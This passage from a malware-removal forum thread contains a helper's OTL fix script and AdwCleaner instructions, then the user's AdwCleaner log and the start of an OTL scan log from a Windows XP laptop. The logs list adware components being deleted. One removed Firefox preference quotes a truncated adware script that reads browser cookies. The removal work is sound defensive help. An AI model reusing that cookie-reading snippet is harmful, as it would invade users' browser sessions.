[2014/04/20 00:15:25 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TW2.job
[2014/04/20 00:15:15 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TW1.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall W2.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall W1.job
[2014/04/20 00:15:12 | 000,000,576 | ---- | M] () -- C:\WINDOWS\tasks\StormFall TM.job
[2014/04/20 00:14:58 | 000,002,138 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\GetPose.lnk
[2014/04/20 00:14:58 | 000,002,138 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Microsoft\Internet Explorer\Quick Launch\GetPose.lnk
[2014/04/20 00:12:17 | 000,000,947 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\Continue VuuPC Installation.lnk
[2014/04/19 23:40:02 | 000,000,368 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP1.job
[2014/04/19 23:37:21 | 000,000,310 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\aps.uninstall.scan.results
[2014/04/19 23:32:14 | 000,358,193 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\speedial.crx
[2014/04/19 23:21:03 | 000,000,366 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP3.job
[2014/04/19 23:21:01 | 000,000,366 | ---- | M] () -- C:\WINDOWS\tasks\APSnotifierPP2.job
[2014/04/19 14:33:34 | 000,013,785 | ---- | M] () -- C:\ads_err.adt
[2014/04/19 14:33:34 | 000,004,559 | ---- | M] () -- C:\ads_err.adm
[2014/04/19 14:33:34 | 000,003,072 | ---- | M] () -- C:\ads_err.adi
[2014/04/11 23:13:08 | 001,079,839 | ---- | M] (AnyProtect.com) -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\AnyProtectScannerSetup.exe
[2014/04/19 23:20:46 | 000,000,366 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP3.job
[2014/04/19 23:20:45 | 000,000,366 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP2.job
[2014/04/19 23:20:43 | 000,000,368 | ---- | C] () -- C:\WINDOWS\tasks\APSnotifierPP1.job
[2014/04/20 00:15:21 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\PriceMeterLiveUpdate
[2014/04/20 09:59:26 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\ShoppingChip
[2013/04/07 10:23:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\All Users\Application Data\Tarma Installer
[2014/04/20 00:14:57 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\StormFall
[2014/04/20 00:56:16 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\systweak
[2014/04/20 13:03:05 | 000,000,000 | ---D | M] -- C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo

:Files
C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\fst_ca_88
C:\Documents and Settings\Michael.TOSHIBA\Application Data\Yontoo

:Commands
[resethosts]
[emptytemp]
[Reboot]
  • Then click the Run Fix button at the top
  • Let the program run unhindered, reboot the PC when it is done
THEN

Please download AdwCleaner by Xplode onto your desktop.
  • Close all open programs and internet browsers.
  • Double click on AdwCleaner.exe to run the tool.
  • Click on Scan.
  • After the scan is complete click on "Clean"
  • Confirm each time with Ok.
  • Your computer will be rebooted automatically. A text file will open after the restart.
  • Please post the content of that logfile with your next answer.
  • You can find the logfile at C:\AdwCleaner[S1].txt as well.
  • FINALLY

    Re-run an OTL quick scan

  • 1

#3
mraskin
Posted 21 April 2014 - 02:15 PM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

Hi Essexboy

Thank you for your responce.

I did as per your instructions and here are reports from AdwCleaner and OTL...

 

# AdwCleaner v3.103 - Report created 21/04/2014 at 12:54:10
# Updated 21/04/2014 by Xplode
# Operating System : Microsoft Windows XP Service Pack 3 (32 bits)
# Username : Michael - TOSHIBA
# Running from : C:\Documents and Settings\Michael.TOSHIBA\Desktop\AdwCleaner.exe
# Option : Clean

***** [ Services ] *****

***** [ Files / Folders ] *****

Folder Deleted : C:\Program Files\predm
Folder Deleted : C:\Program Files\Yontoo
Folder Deleted : C:\Documents and Settings\Alina.TOSHIBA\Local Settings\Application Data\fst_ca_88
Folder Deleted : C:\Documents and Settings\Michael.TOSHIBA\Application Data\Activeris
File Deleted : C:\END
File Deleted : C:\Documents and Settings\Alina.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\8z8n2rqt.default\searchplugins\Mysearchdial.xml
File Deleted : C:\Documents and Settings\Alina.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\8z8n2rqt.default\user.js
File Deleted : C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\user.js

***** [ Shortcuts ] *****

***** [ Registry ] *****

Key Deleted : HKCU\Software\Google\Chrome\Extensions\iagcajndpnfncplednpbnkahadegklfa
Key Deleted : HKLM\SOFTWARE\Google\Chrome\Extensions\iagcajndpnfncplednpbnkahadegklfa
Key Deleted : HKLM\SOFTWARE\Google\Chrome\Extensions\niapdbllcanepiiimjjndipklodoedlc
Key Deleted : HKCU\Software\Microsoft\Internet Explorer\DOMStorage\wajam.com
Value Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Run [Yontoo Desktop]
Key Deleted : HKLM\SOFTWARE\Classes\AppID\esrv.EXE
Key Deleted : HKLM\SOFTWARE\Classes\esrv.mysearchdialesrvc
Key Deleted : HKLM\SOFTWARE\Classes\esrv.mysearchdialesrvc.1
Value Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [upfst_ca_88.exe]
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{C292AD0A-C11F-479B-B8DB-743E72D283B0}
Key Deleted : HKLM\SOFTWARE\Classes\AppID\{D616A4A2-7B38-4DBC-9093-6FE7A4A21B17}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{00B11DA2-75ED-4364-ABA5-9A95B1F5E946}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{7E84186E-B5DE-4226-8A66-6E49C6B511B4}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{80922EE0-8A76-46AE-95D5-BD3C3FE0708D}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{D40753C7-8A59-4C1F-BE88-C300F4624D5B}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{E5A7A645-8318-4895-B85C-EDC606B80DB6}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{FE9271F2-6EFD-44B0-A826-84C829536E93}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{A1CCCE0D-AE21-42A2-BE58-8E6109410995}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{237FDFDB-3722-470E-8BA8-90196DABE967}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{31E3BC75-2A09-4CFF-9C92-8D0ED8D1DC0F}
Key Deleted : HKLM\SOFTWARE\Classes\Interface\{C66F0B7A-BD67-4982-AF71-C6CA6E7F016F}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{C292AD0A-C11F-479B-B8DB-743E72D283B0}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{E2343056-CC08-46AC-B898-BFC7ACF4E755}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{F126C9FC-9299-40F2-BD42-C59023AD1E7F}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2318C2B1-4965-11D4-9B18-009027A5CD4F}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3004627E-F8E9-4E8B-909D-316753CBA923}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{31AD400D-1B06-4E33-A59A-90C2C140CBA0}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{AE07101B-46D4-4A98-AF68-0333EA26E113}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{DF7770F7-832F-4BDF-B144-100EDDD0C3AE}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{EF5625A3-37AB-4BDB-9875-2A3D91CD0DFD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{FD72061E-9FDE-484D-A58A-0BAB4151CAD8}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{2318C2B1-4965-11D4-9B18-009027A5CD4F}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{3004627E-F8E9-4E8B-909D-316753CBA923}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{31AD400D-1B06-4E33-A59A-90C2C140CBA0}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{DF7770F7-832F-4BDF-B144-100EDDD0C3AE}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{EF5625A3-37AB-4BDB-9875-2A3D91CD0DFD}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{FD72061E-9FDE-484D-A58A-0BAB4151CAD8}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{DF7770F7-832F-4BDF-B144-100EDDD0C3AE}
Key Deleted : HKCU\Software\AnyProtect
Key Deleted : HKCU\Software\Cr_Installer
Key Deleted : HKCU\Software\Crossrider
Key Deleted : HKCU\Software\DynConIE
Key Deleted : HKCU\Software\FreeSoftToday
Key Deleted : HKCU\Software\genesis
Key Deleted : HKCU\Software\InstallCore
Key Deleted : HKCU\Software\mysearchdial.com
Key Deleted : HKCU\Software\SmartBar
Key Deleted : HKCU\Software\systweak
Key Deleted : HKCU\Software\Tutorials
Key Deleted : HKCU\Software\TutoTag
Key Deleted : HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}
Key Deleted : HKCU\Software\AppDataLow\SProtector
Key Deleted : HKLM\Software\{1146AC44-2F03-4431-B4FD-889BC837521F}
Key Deleted : HKLM\Software\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Deleted : HKLM\Software\{6791A2F3-FC80-475C-A002-C014AF797E9C}
Key Deleted : HKLM\Software\Conduit
Key Deleted : HKLM\Software\mysearchdial
Key Deleted : HKLM\Software\SP Global
Key Deleted : HKLM\Software\SProtector
Key Deleted : HKLM\Software\systweak
Key Deleted : HKLM\Software\Tarma Installer
Key Deleted : HKLM\Software\Tutorials
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\00212D92-C5D8-4ff4-AE50-B20F0F85C40A_Systweak_Ad~B9F029BF_is1
Key Deleted : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0FF2AEFF45EEA0A48A4B33C1973B6094
Key Deleted : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\305B09CE8C53A214DB58887F62F25536
Key Deleted : HKLM\Software\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\3152E1F19977892449DC968802CE8964

***** [ Browsers ] *****

-\\ Internet Explorer v8.0.6001.18702

Setting Restored : HKCU\Software\Microsoft\Internet Explorer\SearchUrl [Default]
Setting Restored : HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchUrl [Default]

-\\ Mozilla Firefox v26.0 (en-US)

[ File : C:\Documents and Settings\Alina.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\8z8n2rqt.default\prefs.js ]

Line Deleted : user_pref("aol_toolbar.default.homepage.check", false);
Line Deleted : user_pref("aol_toolbar.default.search.check", false);
Line Deleted : user_pref("browser.search.selectedEngine", "Mysearchdial");
Line Deleted : user_pref("extensions.BabylonToolbar.prtkDS", 0);
Line Deleted : user_pref("extensions.BabylonToolbar.prtkHmpg", 0);
Line Deleted : user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
Line Deleted : user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
Line Deleted : user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
Line Deleted : user_pref("sweetim.toolbar.previous.keyword.URL", "");
Line Deleted : user_pref("sweetim.toolbar.scripts.1.domain-blacklist", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_DS", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_HP", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.enable", "");
Line Deleted : user_pref("browser.startup.homepage", "hxxp://start.mysearchdial.com/?f=1&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCyEtDtAtDyD[...]

[ File : C:\Documents and Settings\Michael.TOSHIBA\Application Data\Mozilla\Firefox\Profiles\dp9xcvwz.default\prefs.js ]

Line Deleted : user_pref("aol_toolbar.default.homepage.check", false);
Line Deleted : user_pref("aol_toolbar.default.search.check", false);
Line Deleted : user_pref("browser.startup.homepage", "hxxp://start.mysearchdial.com/?f=1&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCyEtDtAtDyD[...]
Line Deleted : user_pref("extensions.BabylonToolbar.prtkDS", 0);
Line Deleted : user_pref("extensions.BabylonToolbar.prtkHmpg", 0);
Line Deleted : user_pref("extensions.Kkn4tsGCyd.scode", "(function(){try{var url=(window.self.location.href + document.cookie);if(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"[...]
Line Deleted : user_pref("extensions.crossrider.bic", "1457de1c015b1cad463ebf0a0c4b31c7");
Line Deleted : user_pref("extensions.mysearchdial.AL", 2);
Line Deleted : user_pref("extensions.mysearchdial.aflt", "cmi_14_16_ie");
Line Deleted : user_pref("extensions.mysearchdial.appId", "{CA5CAA63-B27C-4963-9BEC-CB16A36D56F8}");
Line Deleted : user_pref("extensions.mysearchdial.cd", "2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCyEtDtAtDyD1V1TtN1L1G1B1V1N2Y1L1Qzu2SyD0F0Czy0FtBtDyEtGyByB0Dt[...]
Line Deleted : user_pref("extensions.mysearchdial.cntry", "CA");
Line Deleted : user_pref("extensions.mysearchdial.cr", "1077732096");
Line Deleted : user_pref("extensions.mysearchdial.dfltLng", "");
Line Deleted : user_pref("extensions.mysearchdial.dfltSrch", true);
Line Deleted : user_pref("extensions.mysearchdial.dnsErr", true);
Line Deleted : user_pref("extensions.mysearchdial.dpkLst", "3654782829,1334533236,1121012847,231756876,1895130307,603719297,4288797614,3754950497,426401714,3046281807,752626116,1657571787,3224935090,2597085128,18285[...]
Line Deleted : user_pref("extensions.mysearchdial.excTlbr", false);
Line Deleted : user_pref("extensions.mysearchdial.hdrMd5", "CEDA239D9866AC7B21D23BCCB1A0EB53");
Line Deleted : user_pref("extensions.mysearchdial.hmpg", true);
Line Deleted : user_pref("extensions.mysearchdial.hmpgUrl", "hxxp://start.mysearchdial.com/?f=1&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCyEt[...]
Line Deleted : user_pref("extensions.mysearchdial.id", "0012F05FEC01F146");
Line Deleted : user_pref("extensions.mysearchdial.instlDay", "16179");
Line Deleted : user_pref("extensions.mysearchdial.instlRef", "140305_a");
Line Deleted : user_pref("extensions.mysearchdial.lastB", "hxxp://start.mysearchdial.com/?f=1&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCyEtDt[...]
Line Deleted : user_pref("extensions.mysearchdial.lastVrsnTs", "1.8.29.023:29:54");
Line Deleted : user_pref("extensions.mysearchdial.newTabUrl", "hxxp://start.mysearchdial.com/?f=2&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1CzutCy[...]
Line Deleted : user_pref("extensions.mysearchdial.pnu_base", "{\"newVrsn\":\"95\",\"lastVrsn\":\"95\",\"vrsnLoad\":\"\",\"showMsg\":\"false\",\"showSilent\":\"false\",\"msgTs\":0,\"lstMsgTs\":\"0\"}");
Line Deleted : user_pref("extensions.mysearchdial.prdct", "mysearchdial");
Line Deleted : user_pref("extensions.mysearchdial.prtnrId", "mysearchdial");
Line Deleted : user_pref("extensions.mysearchdial.sg", "none");
Line Deleted : user_pref("extensions.mysearchdial.srchPrvdr", "Mysearchdial");
Line Deleted : user_pref("extensions.mysearchdial.tlbrId", "base");
Line Deleted : user_pref("extensions.mysearchdial.tlbrSrchUrl", "hxxp://start.mysearchdial.com/?f=3&a=cmi_14_16_ie&cd=2XzuyEtN2Y1L1QzutDtDtCtB0FtDyD0F0E0CtDtC0FtCyEyCtN0D0Tzu0SzzyEtDtN1L2XzutBtFtBtDtFtCtFtDtN1L1Czut[...]
Line Deleted : user_pref("extensions.mysearchdial.vrsn", "1.8.29.0");
Line Deleted : user_pref("extensions.mysearchdial.vrsni", "1.8.29.0");
Line Deleted : user_pref("extensions.mysearchdial_i.newTab", false);
Line Deleted : user_pref("extensions.mysearchdial_i.smplGrp", "none");
Line Deleted : user_pref("extensions.mysearchdial_i.vrsnTs", "1.8.29.023:29:54");
Line Deleted : user_pref("extentions.y2layers.defaultEnableAppsList", "bestvideodownloader,brain/default2,easyinline/dock,superfish,superfishgoogleeil,yontooinstalled,yontoonewoffers,dropdowndeals");
Line Deleted : user_pref("extentions.y2layers.installId", "293be7ff-e36f-404f-b35b-20d552972774");
Line Deleted : user_pref("keyword.URL", "hxxp://feed.snapdo.com/?publisher=Bundlore&dpid=Bundlore&co=CA&userid=25e202d2-445c-34ff-8aba-42989e09acec&searchtype=ds&installDate=19/10/2013&q=");
Line Deleted : user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
Line Deleted : user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
Line Deleted : user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
Line Deleted : user_pref("sweetim.toolbar.previous.keyword.URL", "");
Line Deleted : user_pref("sweetim.toolbar.scripts.1.domain-blacklist", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_DS", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.UserRejectedGuard_HP", "");
Line Deleted : user_pref("sweetim.toolbar.searchguard.enable", "");

-\\ Google Chrome v34.0.1847.116

[ File : C:\Documents and Settings\Alina.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\preferences ]

Deleted : homepage

[ File : C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\Google\Chrome\User Data\Default\preferences ]

Deleted : search_url
Deleted : suggest_url
Deleted : keyword

*************************

AdwCleaner[R0].txt - [14212 octets] - [21/04/2014 12:46:07]
AdwCleaner[S0].txt - [14049 octets] - [21/04/2014 12:54:10]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [14110 octets] ##########

 

 

OTL logfile created on: 4/21/2014 1:04:02 PM - Run 2
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Documents and Settings\Michael.TOSHIBA\Desktop
Windows XP Home Edition Service Pack 3 (Version = 5.1.2600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.6001.18702)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
2.00 Gb Total Physical Memory | 1.55 Gb Available Physical Memory | 77.64% Memory free
3.85 Gb Paging File | 3.56 Gb Available in Paging File | 92.55% Paging File free
Paging file location(s): C:\pagefile.sys 2046 4092 [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\WINDOWS | %ProgramFiles% = C:\Program Files
Drive C: | 92.97 Gb Total Space | 61.91 Gb Free Space | 66.59% Space Free | Partition Type: NTFS
 
Computer Name: TOSHIBA | User Name: Michael | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Processes (SafeList) ==========
 
PRC - [2014/04/20 15:09:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
PRC - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) -- c:\Program Files\Microsoft Security Client\MsMpEng.exe
PRC - [2013/10/23 15:55:28 | 000,948,440 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Microsoft Security Client\msseces.exe
PRC - [2013/01/18 17:10:18 | 000,577,536 | ---- | M] (Research In Motion Limited) -- C:\Program Files\Common Files\Research In Motion\USB Drivers\BbDevMgr.exe
PRC - [2013/01/17 16:08:26 | 000,267,792 | ---- | M] (Research In Motion Limited) -- C:\Program Files\Common Files\Research In Motion\USB Drivers\RIMBBLaunchAgent.exe
PRC - [2012/07/13 16:27:00 | 000,769,432 | ---- | M] (Nero AG) -- C:\Program Files\Nero\Update\NASvc.exe
PRC - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) -- C:\WINDOWS\system32\Crypserv.exe
PRC - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe
PRC - [2009/02/09 05:42:22 | 000,974,848 | ---- | M] (TOSHIBA CORPORATION) -- C:\Program Files\TOSHIBA\ConfigFree\NDSTray.exe
PRC - [2008/04/14 06:42:20 | 001,033,728 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\explorer.exe
PRC - [2005/04/28 20:08:34 | 000,675,840 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe
PRC - [2005/04/20 15:56:58 | 000,028,672 | ---- | M] (TOSHIBA) -- C:\WINDOWS\system32\TCtrlIOHook.exe
PRC - [2005/04/18 11:33:42 | 000,188,416 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Controls\TFncKy.exe
PRC - [2005/04/15 16:51:48 | 000,122,880 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe
PRC - [2005/04/12 00:09:56 | 000,184,320 | ---- | M] (Agere Systems) -- C:\Program Files\ltmoh\ltmoh.exe
PRC - [2005/04/05 16:25:34 | 000,073,728 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\Tvs\TvsTray.exe
PRC - [2005/03/08 15:27:50 | 000,024,576 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\Accessibility\FnKeyHook.exe
PRC - [2004/12/30 00:32:20 | 000,065,536 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe
PRC - [2004/12/28 16:02:46 | 000,270,336 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSMain.exe
PRC - [2004/12/28 16:02:28 | 000,036,864 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSBattM.exe
PRC - [2004/11/30 13:06:26 | 000,053,248 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\TouchPad\TPTray.exe
PRC - [2004/09/07 14:03:20 | 001,077,301 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe
PRC - [2004/08/27 16:37:00 | 000,155,648 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\RAMASST.exe
PRC - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\DVDRAMSV.exe
PRC - [2004/05/01 13:41:30 | 000,024,576 | ---- | M] (TOSHIBA) -- C:\WINDOWS\system32\ZoomingHook.exe
PRC - [2003/04/09 19:21:38 | 000,147,456 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe
PRC - [2003/04/09 19:11:12 | 000,028,672 | ---- | M] (Hewlett-Packard) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe
PRC - [2003/04/09 18:59:24 | 000,311,296 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hposts08.exe
PRC - [2003/04/09 18:49:36 | 000,286,720 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpoevm08.exe
PRC - [2002/12/12 05:45:00 | 000,541,184 | R--- | M] (Symantec Corporation) -- C:\Program Files\WinFax\WFXMOD32.EXE
PRC - [2002/12/12 05:45:00 | 000,045,568 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\system32\WFXSNT40.EXE
PRC - [2002/12/12 05:45:00 | 000,028,160 | R--- | M] () -- C:\Program Files\WinFax\WFXSWTCH.exe
PRC - [2001/03/15 05:18:18 | 000,049,254 | ---- | M] (Adobe Systems Inc.) -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe
PRC - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) -- C:\WINDOWS\system32\WFXSVC.EXE
 
 
========== Modules (No Company Name) ==========
 
MOD - [2014/02/12 20:58:32 | 000,073,544 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
MOD - [2014/02/12 20:58:10 | 001,044,808 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
MOD - [2005/04/25 11:51:32 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TPeculiarity.dll
MOD - [2005/04/20 15:59:06 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TCtrlIO.dll
MOD - [2005/04/01 15:39:56 | 000,024,576 | ---- | M] () -- C:\WINDOWS\system32\EKECioCtl.dll
MOD - [2005/04/01 15:39:14 | 000,024,576 | ---- | M] () -- C:\Program Files\TOSHIBA\TouchPad\TPECioctl.dll
MOD - [2005/04/01 15:37:28 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\EBLib.DLL
MOD - [2002/12/12 05:45:00 | 000,028,160 | R--- | M] () -- C:\Program Files\WinFax\WFXSWTCH.exe
MOD - [2002/12/12 05:44:48 | 001,576,448 | R--- | M] () -- C:\Program Files\WinFax\DCCDA32I.DLL
MOD - [2001/03/15 05:18:08 | 000,065,536 | ---- | M] () -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\adistres.dll
MOD - [2000/09/28 23:58:40 | 000,228,864 | ---- | M] () -- C:\Program Files\WinFax\WFXVW32I.DLL
MOD - [2000/09/28 23:58:38 | 000,012,800 | ---- | M] () -- C:\WINDOWS\system32\spool\prtprocs\w32x86\WFXPNT40.DLL
MOD - [2000/09/28 23:58:34 | 000,142,336 | ---- | M] () -- C:\Program Files\WinFax\SENGINE.DLL
MOD - [2000/09/28 23:58:32 | 000,392,192 | ---- | M] () -- C:\Program Files\WinFax\DCCTBP32.DLL
 
 
========== Services (SafeList) ==========
 
SRV - File not found [Disabled | Stopped] -- %SystemRoot%\System32\hidserv.dll -- (HidServ)
SRV - File not found [On_Demand | Stopped] -- %SystemRoot%\System32\appmgmts.dll -- (AppMgmt)
SRV - [2014/03/19 20:33:24 | 000,257,928 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2013/12/21 18:22:11 | 000,119,408 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV - [2013/09/05 11:34:30 | 000,171,680 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files\Skype\Updater\Updater.exe -- (SkypeUpdate)
